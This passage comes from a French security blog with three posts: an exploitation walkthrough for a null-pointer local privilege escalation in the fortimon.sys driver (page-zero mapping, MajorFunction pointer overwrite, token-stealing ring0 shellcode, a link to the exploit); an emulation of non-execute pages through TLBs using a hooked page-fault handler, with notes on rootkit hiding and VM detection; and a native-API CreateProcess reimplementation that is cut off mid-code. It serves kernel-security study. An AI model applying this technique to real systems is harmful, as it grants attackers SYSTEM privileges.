call ds:IoCreateSymbolicLink
mov esi, eax
test esi, esi
jl short loc_10544
mov eax, [ebp+DeviceObject]
mov edx, [eax+28h] ; DeviceExtension
push edi
push 11h
pop ecx
xor eax, eax ;eax=0
mov edi, edx
rep stosd ; <=> memset(DeviceExtension, 0, 0x11*4)
mov dword ptr [edx+4], 1
mov eax, [ebp+DeviceObject]
mov [edx+8], eax
pop edi
jmp short loc_1054D
[...]
Okaj, le device est créé et recoit une structure DeviceExtension. A quoi ca sert ? En gros l’I/O manager fournit au développeur un champ unique pour chaque device lui permettant de stocker de données. Dans le cas d’un FiDO le DeviceExtension sert à contenir un pointeur sur le device attaché afin de pouvoir lui retransmettre les IRP.
C’est de la que vient la vuln, en effet le CDO ne filtrant pas d’IRP mais en recevant uniquement n’a pas besoin d’avoir de DeviceExtension or ici il en reçoit une qui est initialisé à 0.
Il faut savoir que les MajorFunctions ne font pas la différence entre les devices, ce que je veux dire, c’est que si le CDO reçoit une IRP sur la MajorFunction IRP_MJ_CREATE, du fait que le driver à un rôle de filtre l’IRP sera transmise au device en dessous. Et c’est bien là le gros problème, car le pointeur sur le device en dessous est stocké dans la DeviceExtenion or pour le CDO de ce driver celle-ci est nulle !! KABOOM !!!
Pour que vous compreniez mieux voiçi un code qui représente une MajorFunction qui envoie directement l’IRP au device suivant.
//dispatch down an IRP
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
ULONG Status;
IoSkipCurrentIrpStackLocation(pIrp);
Status=IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->AttachedToDeviceObject, pIrp);
return Status;
}
Avec le fortimon.sys comme la DeviceExtension est nulle, la fonction IoCallDriver va tenter d’appeler la fonction d’un driver qui n’existe pas. Reste à exploiter cela …
On a IoCallDriver qui est de prototype :
NTSTATUS
IoCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
);
On sait que le param DeviceObject sera NULL. L’idée consiste donc à allouer une page mémoire commençant à l’adresse 0×00000000. Il suffit ensuite de mettre dans cette zone mémoire les bonnes valeurs aux bons endroits pour réussir notre exploitation. Pour ce faire, on va disass IoCallDriver
kd> u IoCallDriver
nt!IoCallDriver:
8052dce4 8bff mov edi,edi
8052dce6 55 push ebp
8052dce7 8bec mov ebp,esp
8052dce9 8b550c mov edx,dword ptr [ebp+0Ch]
8052dcec 8b4d08 mov ecx,dword ptr [ebp+8]
8052dcef ff15002b5580 call dword ptr [nt!pIofCallDriver (80552b00)]
8052dcf5 5d pop ebp
8052dcf6 c20800 ret 8
kd> uf nt!IopfCallDriver
nt!IopfCallDriver:
804e37d0 fe4a23 dec byte ptr [edx+23h] ; edx=IRP, IRP->CurrentLocation--
804e37d3 8a4223 mov al,byte ptr [edx+23h]
804e37d6 84c0 test al,al ; si CurrentLocation <=0
804e37d8 0f8ec6850300 jle nt!IopfCallDriver+0xa (8051bda4)
nt!IopfCallDriver+0x18:
804e37de 8b4260 mov eax,dword ptr [edx+60h] ; current I/O stack location
804e37e1 83e824 sub eax,24h
804e37e4 56 push esi
804e37e5 894260 mov dword ptr [edx+60h],eax ; next stack location
804e37e8 894814 mov dword ptr [eax+14h],ecx ; ecx=DeviceObject
804e37eb 0fb600 movzx eax,byte ptr [eax] ;eax=MajorFunction indice
804e37ee 8b7108 mov esi,dword ptr [ecx+8] ;esi=DriverObject
804e37f1 52 push edx
804e37f2 51 push ecx
804e37f3 ff548638 call dword ptr [esi+eax*4+38h] ;DriverObject.MajorFunction[eax]
804e37f7 5e pop esi
804e37f8 c3 ret
kd> dt nt!_DEVICE_OBJECT
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 ReferenceCount : Int4B
+0x008 DriverObject : Ptr32 _DRIVER_OBJECT
+0x00c NextDevice : Ptr32 _DEVICE_OBJECT
+0x010 AttachedDevice : Ptr32 _DEVICE_OBJECT
+0x014 CurrentIrp : Ptr32 _IRP
+0x018 Timer : Ptr32 _IO_TIMER
+0x01c Flags : Uint4B
+0x020 Characteristics : Uint4B
+0x024 Vpb : Ptr32 _VPB
+0x028 DeviceExtension : Ptr32 Void
+0x02c DeviceType : Uint4B
+0x030 StackSize : Char
+0x034 Queue : __unnamed
+0x05c AlignmentRequirement : Uint4B
+0x060 DeviceQueue : _KDEVICE_QUEUE
+0x074 Dpc : _KDPC
+0x094 ActiveThreadCount : Uint4B
+0x098 SecurityDescriptor : Ptr32 Void
+0x09c DeviceLock : _KEVENT
+0x0ac SectorSize : Uint2B
+0x0ae Spare1 : Uint2B
+0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
+0x0b4 Reserved : Ptr32 Void
kd> dt nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32 long
+0x030 DriverStartIo : Ptr32 void
+0x034 DriverUnload : Ptr32 void
+0x038 MajorFunction : [28] Ptr32 long
Attention IopfCallDriver est convention d’appel FastCall, les params sont passés par ecx et edx. IopfCallDriver va donc prendre le DeviceObject et retrouvé à quel DriverObject il appartient, si la page qu’on alloue est mise à 0, on est sur que le DriverObject sera null lui aussi. Ensuite la fonction va appeler la MajorFunction en fonction du type d’IRP avec l’instruction : call dword ptr [esi+eax*4+38h] (esi=DriverOBject, eax=MajorFunction).
Comme nous pouvons choisir le type d’IRP que nous envoyons sur le CDO, on peut connaître la valeur de eax et donc choisir ce que va contenir [esi+eax*4+38h] et qu’est ce qu’on y met ? L’adresse d’un joli shellcode ring0 wOot !
Dans mon exploit j’ai choisit d’utiliser la MajorFunction IRP_MJ_FILE_SYSTEM_CONTROL envoyé par l’API native ZwFsControlFile. En fait j’ai eu un peu de mal à éviter les Fast I/O car si la requête passe dans ce genre de routine l’exploitation ne marchera pas, va falloir que je lise de la doc dessus.
Donc sachant que IRP_MJ_FILE_SYSTEM_CONTROL=0xD, il suffit de mettre à l’adresse 0+0xd*4+0×38 un pointeur sur notre shellcode qui modif le token du process courant par celui du process system et c’est bon, on a notre local privilege escalation :]
En tout ca le sploit que je vous fournis fonctionne très bien et vous le trouverez ici :
http://ivanlef0u.fr/repo/fortimon.rar
Voilà, voilà, j’espère que vous avez compris dans l’ensemble le principe de l’exploitation, n’hesitez pas à poser des questions.
février 28th, 2008
Un drame m’est arrivé, la pire chose au monde. Ce matin au réveil, je m’aperçois que je n’ai plus de chocapicz … Tel un drogué je comprends que mon besoin primaire de cette nourriture ne pourra être satisfait rapidement, c’est dans ce genre de moment qu’on réalise que nos petites habitudes ont parfois prit une ampleur sur notre existence insoupçonnée, comment faire pour ne pas y penser ? Comment faire pour que mon ventre creux arrête de gargouiller, il est 13h (wiwi c’est l’heure ou je me réveil) tout est fermé, je me dis « Ivan, soit fort, combat cette drogue, fait autre chose, chasse cette envie de ton esprit ! » et j’ai fait ce que je sais faire le mieux, j’ai codé …
Ca faisait pas mal de temps que j’avais envie de jouer avec la pagination de OS. Bidouiller les PDEs, les PTEs, jouer avec mon cr3, courir avec des TLB près de la mer, bref, m’éclater avec ces mécanismes. J’avais toujours en tête les différents papers plus au moins vieux sur le sujet mais je voulais faire quelque chose d’un peu plus original sous Windows. Un pote m’a montré la documentation de PAX, vous savez le patch kernel unix qui sert à prévenir pas mal d’exploitations de binaires. En fait PAX émule une protection en exécution des pages mémoire, comme le NX bit dispo sur les processeurs récents. Le NX bit à besoin du PAE activé ou un mode 64 tapz pour fonctionner ce qui est un peu dommage par rapport à ce qu’il apporte en terme de sécurité.
Pour comprendre comment fonctionne la protection en non-execute des pages, il faut d’abord savoir comment fonctionne la translation d’adresses virtuelles en adresses physiques, pour cela je vous invite à relire ce post.
Si vous avez lu (ou que vous connaissez déjà un peu le sujet) vous remarquerez que le processus de translation d’adresses virtuelles (virtual addresses, VA) en adresses physiques (physical addresses, PA) est un peu long et demande au moins 3 lectures en mémoire. Pour pouvoir optimiser cela les constructeurs de CPU ont ajouté un cache permettant de faire le lien entre les VA et PA plus rapidement, on appel ces caches des TLB (Translation Lookaside Buffers). Ils contiennent des cellules qui font correspondre les VA au PA du process courant afin de pouvoir optimiser la translation d’adresses.
Après il faut savoir que les TLP sont splités en 2 parties, l’ITLB et le DTLB. L’ITLB (Instruction TLB) va contenir les translations d’adresses pour le code exécutable. Le DTLB (Data TLB) quand a lui contient les translations pour le reste des données. L’utilisation des TLB est donc résumer par le schéma suivant :

Tout d’abord la MMU va check si une entré est présente dans les TLB pour faire la translation, si oui on un un TLB Hit, sinon on a un TLB Miss et on doit perdre du temps 0 parcourir les PDE/PTE.
Les TLB sont assez connu dans le domaine de la sécu, notamment pour 2 faits. Premièrement, pour avoir été décrit dans phrack par Sherri Sparks et Jamie Butler dans l’implémentation du shadow walker. Le concept du shadow walker permet à un rootkit kernel-land de caché du code ou des données au processeur lui même. Le principe réside évidemment sur la translation d’adresses. Prenons une gentille page mémoire présente dans la RAM, tranquillement elle vit sa vie, se faire lire, écrire voir même exécute. Elle est forcément décrite par un PTE (Page Table Entry) qui, sous architecture x86, est de la forme :

Lorsque l’OS trouve que la page n’est pas assez souvent utilisée, il peut, pour gagner de la mémoire, la swapper sur le disque dans le fameux fichier pagefile.sys. Vous comprenez bien que si un programme décide d’aller chercher cette page en mémoire, il va se sentir un peu seul quand il va voir qu’elle n’y est plus, il faut donc que l’OS la recharge. Cependant il doit savoir, quand la recharger, vous me direz « bah quand le programme en a besoin sale ruskoff communiste buveur de vodka », certes … Pour cela, lorsque l’OS outswap la page sur le disque, il met la 0 le premier bit du PTE (Present Bit), ainsi lorsque la MMU va aller chercher la page, en voyant que le present-bit est 0, va lancer une exception de type page-fault (0x0E) alertant ainsi le memory-manager qu’il faut inswapper la page en mémoire.
Jusqu’ici rien de nouveau, le shadow walker va utiliser a son escient le present-bit. Prenons une autre gentille page mémoire et mettons son present-bit à 0, sans l’outswapper. Si un accès est fait sur cette page, une exception est générée, normalement le memory-manager ne sait pas gérer ce genre d’exceptions, c’est pourquoi nous avons notre propre page-fault handler placé avant. Celui-vi va servir à vérifier d’ou provient l’accès à notre page, dans le cas d’une demande d’exécution, si l’accès ne provient pas d’une source valide on remplace le PTE par un fake PTE représentant une page contenant du junk code. Cet à ce moment qu’interviennent les TLB, au lieu de remettre la present-bit de la page à 1, ce qui pourrait être problématique car nous ne pourrions intercepter les prochaines exécutions sur notre page, on va tout simplement ajouter une entré dans l’ITLB en faisant correspondre à notre VA en PA sur une page contenant du junk code, c’est de la balle, car avec cette technique, on est en mesure d’intercepter les prochaines demandes d’exécution de notre page.
Dans le cas d’une demande de lecture/écriture, on regarde aussi d’ou provient l’appel, si la demande est autorisée on charge la translation d’adresse dans le DTLB.
Les TLB sont aussi connus pour servir dans la détection des VM, l’idée peut-être résumé par le post de Thomas Patcek de chez Matasano. Le but est de désynchroniser les TLB et les PTE, c’est à dire de laisser dans les TLB des translations d’adresses de pages dont le present-bit est à 0. L’attaque consiste à se place dans la VM, on désynchronise les TLB et les PTE et on fait en sorte de saturer le TLB sur un gros bloque de mémoire qu’on a alloué et dont on a mit les present-bits de ses pages à 0. Il faut savoir que pour différences les TLB entries de l’host et de la VM, les entries sont taguées par des ASID (Address Space Identifiers), donc un flush des TLB dans l’host ou la VM n’affectera pas les entries taguées par les autres ASID. Maintenant qu’on a floodé le TLB, que ce passerait-il si on devait revenir dans l’environnement de l’hôte ? Naturellement ce dernier irait flusher une parie des entries du TLB, celui-ci étant plein, pour pouvoir gérer la VM, après retour dans la vm, on aurait donc une translation d’adresse fausse avec les entries du TLB taguées avec les ASID de la VM. Il suffit donc de prendre une instruction demandant une sortie de l’hyperviseur mais qui dans un contexte normal n’effectue aucun accès mémoire, cette instruction c’est CPUID. Sous Intel VT-x et AMD-V, elle requiert une sortie de l’hyperviseur pour être géré, de ce fait on est capable de vider des entries de la VM du TLB et de fucker les translations de notre big bloque de mémoire et DONC par effet de bord de détecter la VM, ouf …
Bon évidemment je vous prends la tête avec des notions par forcément évidentes à comprendre. Pour la suite retenez 4 choses par coeur sur les TLB :
- Reloading cr3 causes all TLB entries except global entries to be
flushed. This typically occurs on a context switch.
- The invlpg causes a specific TLB entry to be flushed.
- Executing a data access instruction causes the DTLB to be loaded with
the mapping for the data page that was accessed.
- Executing a call causes the ITLB to be loaded with the mapping for the
page containing the code executed in response to the call.
Revenons un peu à notre patch noyau, PAX, celui-ci tire avantage des TLB pour émuler une protection en non-execute. La question est comment ? Simple il suffit de lire la doc, extrait :
« The above described TLB behaviour means that software has explicit control
over ITLB/DTLB loading: it can get notified on hardware TLB load attempts
if it sets up the page tables so that such attempts will fail and trigger
a page fault exception, and it can also initiate a TLB load by making the
appropriate memory access to have the CPU walk the page tables and load one
of the TLBs. This in turn is the key to implement non-executable pages:
such pages can be marked either as non-present or requiring supervisor level
access in the page tables hence userland memory accesses would raise a page
fault. The page fault handler can then decide whether it was an instruction
fetch attempt (by comparing the fault address to that of the instruction
that raised the fault) or a legitimate data access. In the former case we
will have detected an execution attempt in a non-executable page and can
act accordingly (terminate the task), in the latter case we can just change
the affected page table entry temporarily to allow user level access and
have the CPU load it into the DTLB (we will of course have to restore the
page table entry to the old state so that further page table walks will
again raise a page fault). »
Pour résumer, l’idée consiste à marquer les present-bits des pages à protéger à 0, ainsi lorsqu’une demande est faite sur ces pages, elle génère une exception de type page-fault. On vérifie le type de demande, dans le cas d’une requête en read ou write on charge une entrée dans le DTLB avec le code suivant :
cli //disable interruptions
mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
or dword ptr [ebx], 0x01 //marque la page présente
mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
and dword ptr [ebx], 0xFFFFFFFE //page non présente
sti //enale interruptions
On oublie évidemment pas de flusher notre page de l’ITLB avec l’instruction invplg. Maintenant que notre DTLB est remplit, on peut sans problème travailler sur nos pages. Lors du prochain changement de contexte, les entries sera flushée mais du fait que les present-bits des PTE décrivant les pages à protéger sont à 0, on aura de nouveau une interruption et de nouveau on rechargera le DTLB. Ce qui est cool c’est qu’on à besoin que d’un page-fault pour ajouter une entrée au DTLB, donc tant qu’on reste dans le contexte de notre process (même cr3) tout se passe bien.
Si un programme demande un accès en exécution sur une page protégée, du fait que l’ITLB est vite, on aura un ITLB miss qui va appeler le page-fault handler, notre page-fault handler même, ce dernier aura pour rôle de dire au programme qu’il est impossible d’exécuter cette page.
Je me suis amusé à réaliser un couple programme user-land, driver r0, mettant en application ce concept. Le driver va recevoir des IOCTL du programme lui demandant de protéger une seule page mémoire, il va aussi installer son propre page-fault handler dans l’IDT afin de filtrer les exceptions. Voici le code du nouveau page-fault handler :
//Our KiTrap0E handler
VOID __declspec(naked) NewInt0EHandler(void)
{
__asm
{
// sur la stack on a
// [page fault error code]
// [faulting eip]
// ...
pushad
mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
test edx, 0x04 //verif si le core etait en usermode lors de l'except
je PassDown //sinon on se casse
//verif si l'except s'est produite dans notre proces space
mov eax, cr3
mov ebx, Mycr3
cmp eax, ebx
jne PassDown
mov esi, cr2 //esi : Adresse du page fault
mov eax, esi
shr eax, 12 //masque a 0x1000
mov ebx, vaPage
shr ebx, 12 //masque a 0x1000
cmp ebx, eax
//si ce n'est pas notre page
jne PassDown
//un acces a ete fait sur notre page
//on flush le TLB
invlpg vaPage
//esp+0x24=eip fautif, si eip=adresse du page fault, alors on a une demande d'exec
//et on leave
cmp [esp+0x24], esi
je Execution
//
// DTLB
//
mov eax, vaPage
//on ajoute une entrée dans le DTLB
cli //disable interruptions
mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
or dword ptr [ebx], 0x01 //marque la page présente
mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
and dword ptr [ebx], 0xFFFFFFFE //page non présente
sti //enale interruptions
jmp ReturnWitoutPassDown
//
//ITLB
//
Execution:
int 3
//hack de la mort qui tue ....
// !!! NE LE REFAITE PAS CHEZ VOUS !!!
//en esp+0x20+4 on a l'adresse du page-fault, c'est à dire le début de notre page (esi)
//pointé par esp+0x20+16 on a le user-land esp qui pointe sur l'adresse de retour pushé par le "call Page"
//le iretd va retourner sur l'adress pointé par esp+0x20+4, pour eviter un nouveau page-fault on le fait
//retourner sur l'adresse pointé par esp+0x20+16 en userland.
mov eax, dword ptr [esp+0x20+0x10] //eax=userland esp
mov eax, [eax] //eax=adresse de retour
mov [esp+0x24], eax //change le retour de iretd
ReturnWitoutPassDown:
popad
add esp, 4
iretd
PassDown:
popad
jmp OldInt0EHandler
}//end asm
}//end NewInt0E
Dans mon code, dans le cas d’une demande d’exécution j’ai du tricker comme un péruvien élevant des lamas … On sait que lors d’une exception on se retrouve sur la stack kernel-land avec :
esp+00 Error code
esp+04 Return EIP
esp+08 Return CS
esp+12 Return EFLAGS
esp+16 Return ESP
esp+20 Return SS
esp+24 Return ES
esp+28 Return DS
esp+32 Return FS
esp+36 Return GS
Cette stack sert pour le retour en user-land avec l’instruction iretd. Sachant que j’ai appelé ma page à protéger avec un call, donc sur la stack user-land, pointé par esp, j’ai mon adresse de retour. Pour retrouver le esp user-land, il suffit de regarder le esp+16 kernel-land, on remplace l’adresse de retour du iretd (esp+4) et hop ! On retombe sur nos pattes, bon j’avoue c’est tricky, mais bon, c’est de l’info, tout est permit :]
MAIS pour une raison inconnue lors du retour en userland par iretd, le segment fs est mit à 0 alors que dans le esp+32 kernel-land il vaut sa valeur normale (0x3B), donc lorsque le soft qui call le driver veut lire son TEB au moment de quitter il fuck :’( Pourtant quand le retour se fait avec le jmp sur PassDown tout est OK, j’avoue être dans le brouillard
Bref, mise à part ce bug, ca fonctionne. J’espère que vous avez à peu prés comprit le principe pour émuler une protection en non-execute grâce aux TLBs, j’attends avec impatience vos impressions. En attendant vous pouvez jouer avec les sources+binaires dispo ici :
http://ivanlef0u.fr/repo/TLB.rar
Sinon, allez lire blog de mon jeune padawan c’est du contenu moins hardcore mais tout aussi instructif 
http://0vercl0k.blogspot.com/
ref :
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07.html
http://bluepillproject.org/stuff/IsGameOver.ppt
http://www.matasano.com/log/930/side-channel-detection-attacks-against-unauthorized-hypervisors/
http://en.wikipedia.org/wiki/Translation_Lookaside_Buffer
http://pax.grsecurity.net/docs/pageexec.txt
http://phrack.org/issues.html?issue=63&id=8&mode=txt
Les précédentes recherches de b0l0k
http://www.c0ding.fr/blog/?p=6
http://www.c0ding.fr/blog/?p=7
Ses liens :
An Architectural Approach to Preventing Code Injection Attacks
http://cairo.cs.purdue.edu/pubs/dsn07-codeinj.pdf
Hardware-assisted circumvention of self-hashing software tamper resistance
http://www.scs.carleton.ca/~paulv/papers/IEEE-extended.7april05.pdf
Rootkits ‘n Stuff
http://www.acm.uiuc.edu/sigmil/talks/shadowwalker/Shadow+Walker+Talk.pdf
février 4th, 2008
Hum, un post un peu forcé, histoire de poser quelque chose sur ce blog. J’avoue que sur ce coup je suis un peu décu de mon taff. Bref, un échec ne peut qu’être enrichissant … Je me suis lancé dans l’idée de coder ma propre fonction CreateProcess afin de réaliser une attaque précise, malheureusement j’ai rencontré 2 gros problèmes..
D’abord pour ce mettre dans l’ambiance, on va s’écouter du Burzum, ca aide à décrasser le cerveau.
Burzum – JesusTod
La création d’un processus n’est pas si compliqué que ca. Tout d’abord il nous faut un joli binaire, on commence gentiment en l’ouvrant avec CreateFile puis on lui associe un objet section avec l’API CreateFileMapping avec l’attribut SEC_IMAGE. Cet attribut permet de dire à l’API quelle représente une image exécutable afin que l’API nous fabrique une structure SECTION_IMAGE_INFORMATION dessus, nous verrons son utilité par la suite. Dans le code suivant j’utilise directement les API natives, j’avais envie de me prendre la tête
InitializeObjectAttributes(&ObjectAttributes, &usPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
//ouvre le fichier binaire
Status=ZwOpenFile(&hFile,
FILE_EXECUTE|SYNCHRONIZE,
&ObjectAttributes,
&IoBlock,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwOpenFile : 0x%x\n", Status);
goto end;
}
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
//cree l'objet section avec l'attribut SEC_IMAGE specifique au executable images.
Status=ZwCreateSection(&hSection,
SECTION_ALL_ACCESS,
&ObjectAttributes,
0,
PAGE_EXECUTE,
SEC_IMAGE,
hFile);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwCreateSection : 0x%x\n", Status);
goto end;
}
Maintenant qu’on a notre handle sur la section on peut crée l’objet EPROCESS himsefl avec l’API ZwCreateProcess.
NTSTATUS
NtCreateProcess(
__out PHANDLE ProcessHandle,
__in ACCESS_MASK DesiredAccess,
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
__in HANDLE ParentProcess,
__in BOOLEAN InheritObjectTable,
__in_opt HANDLE SectionHandle,
__in_opt HANDLE DebugPort,
__in_opt HANDLE ExceptionPort
)
Routine Description:
This routine creates and initializes a process object.
Arguments:
ProcessHandle - Returns the handle for the new process.
DesiredAccess - Supplies the desired access modes to the new process.
ObjectAttributes - Supplies the object attributes of the new process.
ParentProcess - Supplies a handle to the process' parent process. If this
parameter is not specified, then the process has no parent
and is created using the system address space.
Flags - Process creation flags
SectionHandle - Supplies a handle to a section object to be used to create
the process' address space. If this parameter is not
specified, then the address space is simply a clone of the
parent process' address space.
DebugPort - Supplies a handle to a port object that will be used as the
process' debug port.
ExceptionPort - Supplies a handle to a port object that will be used as the
process' exception port.
Remarquez le commentaire au niveau du SectionHandle, si jamais celui-ci est a NULL, on fabrique un fork du process courant, ce qui dans certains cas peut s’avérer utile.
Quand on appel ZwCreateProcess, le kernel se charge de mettre en place la structure EPROCESS associé avec lui en le créant avec ObCreateObject. Son espace mémoire est crée avec MmCreateProcessAddressSpace et init avec MmInitializeProcessAddressSpace.
La suite consiste à initialiser le primary du futur process. Pour cela on doit lui allouer une mémoire qui lui servira de stack. La taille de stack est retrouvé à l’aide du PE header du binaire, ce qui est cool c’est que la fonction ZwQuerySection peut nous renvoyer une structure SECTION_IMAGE_INFORMATION qui contient les valeurs suivantes :
typedef struct _SECTION_IMAGE_INFORMATION {
PVOID TransferAddress;
ULONG ZeroBits;
SIZE_T MaximumStackSize;
SIZE_T CommittedStackSize;
ULONG SubSystemType;
union {
struct {
USHORT SubSystemMinorVersion;
USHORT SubSystemMajorVersion;
};
ULONG SubSystemVersion;
};
ULONG GpValue;
USHORT ImageCharacteristics;
USHORT DllCharacteristics;
USHORT Machine;
BOOLEAN ImageContainsCode;
BOOLEAN Spare1;
ULONG LoaderFlags;
ULONG Reserved[ 2 ];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
2 champs nous intéresse, CommittedStackSize et MaximumStackSize. Le premier correspond à la taille de stack à allouer obligatoirement, le second à la taille max. Sachant que le thread n’aura pas forcément besoin de toute sa stack, on va éviter le gaspillage en réservant la mémoire sur une taille de MaximumStackSize tout en utilisant physiquement que CommitedStackSize de mémoire.
Plus tard, pour crée le thread avec ZwCreateThread on va avoir besoin de lui fournir une structure INITIAL_TEB :
typedef struct _INITIAL_TEB {
struct {
PVOID OldStackBase;
PVOID OldStackLimit;
} OldInitialTeb;
PVOID StackBase;
PVOID StackLimit;
PVOID StackAllocationBase;
} INITIAL_TEB, *PINITIAL_TEB;
Comme nous connaissons les besoins de la main stack, nous allons remplir cette structure. Première étape, allouer en MEM_RESERVE MaximumStackSize de mémoire avec ZwAllocateVirtualMemory dans l’espace mémoire fraichement crée. On récupère l’adresse dans le champ StackAllocationBase. Ensuite, on fabrique la pile selon le schéma suivant :
StackAllocationBase
| |
| StackLimit |
| |
| |
| StackBase |
+-----------------+
L'espace representé par StackAllocationBase est en MEM_RESERVE.
Celui entre StackLimit et StackBase est en MEM_COMMIT|MEM_RESERVE.
Tout l’espace de StackAllocationBase est en MEM_RESERVE, celui de l’adresse la plus haute de StackAllocationBase (Stackbase) jusqu’a Stackbase-ImageInfo.CommittedStackSize est en MEM_COMMIT|MEM_RESERVE.
Cela veut dire que physiquement on aura réservé dans la ram que CommittedStackSize de mémoire, alors que les VAD (Virtual Address Descriptors) du process décriront l’espace représenter par StackAllocationBase comme utilisé.
//recup la structure ImageInfo
Status=ZwQuerySection(hSection,
SectionImageInformation,
&ImageInfo,
sizeof(ImageInfo),
NULL);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwQuerySection : 0x%x\n", Status);
goto end;
}
printf("ImageInfo.MaximumStackSize : 0x%x\n", ImageInfo.MaximumStackSize);
printf("ImageInfo.CommittedStackSize : 0x%x\n", ImageInfo.CommittedStackSize);
RtlZeroMemory(&InitialTeb, sizeof(InitialTeb));
//Alloue ImageInfo.MaximumStackSize et stoque l'adresse dans InitialTeb.StackAllocationBase
//les pages de sont que MEM_RESERVE
Status=ZwAllocateVirtualMemory(hProcess,
&InitialTeb.StackAllocationBase,
0,
&ImageInfo.MaximumStackSize,
MEM_RESERVE,
PAGE_READWRITE);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwAllocateVirtualMemory (1) : 0x%x\n", Status);
goto end;
}
InitialTeb.StackBase=(PVOID)((ULONG)InitialTeb.StackAllocationBase+ImageInfo.MaximumStackSize);
InitialTeb.StackLimit=(PVOID)((ULONG)InitialTeb.StackBase-ImageInfo.CommittedStackSize);
n=(ULONG)(ImageInfo.CommittedStackSize);
p=(PVOID)InitialTeb.StackLimit;
//Commit les pages entre StackBase et StackLimit qui seront utilisées pour la stack
Status=ZwAllocateVirtualMemory(hProcess,
(PVOID*)&p,
0,
&n,
MEM_COMMIT,
PAGE_READWRITE);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwAllocateVirtualMemory (2): 0x%x\n", Status);
goto end;
}
Après tout ca, on peut tranquillement créer notre thread avec ZwCreateThread de proto :
NTSTATUS
NtCreateThread(
__out PHANDLE ThreadHandle,
__in ACCESS_MASK DesiredAccess,
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
__in HANDLE ProcessHandle,
__out PCLIENT_ID ClientId,
__in PCONTEXT ThreadContext,
__in PINITIAL_TEB InitialTeb,
__in BOOLEAN CreateSuspended
)
/*++
Routine Description:
This routine creates and initializes a thread object.
Arguments:
ThreadHandle - Returns the handle for the new thread.
DesiredAccess - Supplies the desired access modes to the new thread.
ObjectAttributes - Supplies the object attributes of the new thread.
ProcessHandle - Supplies a handle to the process that the thread is being
created within.
ClientId - Returns the CLIENT_ID of the new thread.
ThreadContext - Supplies a pointer to a context frame that represents the
initial user-mode context for a user-mode thread. The absence
of this parameter indicates that a system thread is being
created.
InitialTeb - Supplies the contents of certain fields for the new threads
TEB. This parameter is only examined if both a trap and
exception frame were specified.
CreateSuspended - Supplies a value that controls whether or not a user-mode
thread is created in a suspended state.
--*/
Hop le code très simple qui réalise cela :
RtlZeroMemory(&Context, sizeof(CONTEXT));
//Definit le context de depart du thread
Context.SegGs=0;
Context.SegFs=0x3B; //segment fs r3
Context.SegEs=0x23; //segment de data r3
Context.SegDs=0x23;
Context.SegSs=0x23;
Context.SegCs=0x1B; //segment de code r3
Context.EFlags=0x200; // force interrupts on, clear all else.
Context.Esp=(ULONG)InitialTeb.StackBase-4;
//TransferAddress est renvoye dans la structure ImageInfo, c'est l'entrypoint de notre programme
Context.Eip=(ULONG)ImageInfo.TransferAddress;
printf("ImageInfo.TransferAddress (EntryPoint) : 0x%x\n", ImageInfo.TransferAddress);
Status=ZwCreateThread(&hThread, //ThreadHandle
THREAD_ALL_ACCESS, //DesiredAccess
NULL, //ObjectAttributes
hProcess, //ProcessHandle
&ClientId, //ClientId,
&Context, //ThreadContext
&InitialTeb, //InitialTeb
TRUE); //CreateSuspended
if(!NT_SUCCESS(Status))
{
printf("Error with ZwCreateThread : 0x%x\n", Status);
goto end;
}
Remarquez que le thread est crée en suspended. On doit faire encore une petite opération avec de la lancer.
Entre temps nous somme censés initialiser le champ ProcessParameters du PEB du futur process à l’aide de la structure RTL_USER_PROCESS_PARAMETERS et de l’API RtlCreateProcessParameters :
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory; // ProcessParameters
UNICODE_STRING DllPath; // ProcessParameters
UNICODE_STRING ImagePathName; // ProcessParameters
UNICODE_STRING CommandLine; // ProcessParameters
PVOID Environment; // NtAllocateVirtualMemory
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle; // ProcessParameters
UNICODE_STRING DesktopInfo; // ProcessParameters
UNICODE_STRING ShellInfo; // ProcessParameters
UNICODE_STRING RuntimeData; // ProcessParameters
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
extern "C"
NTSYSAPI
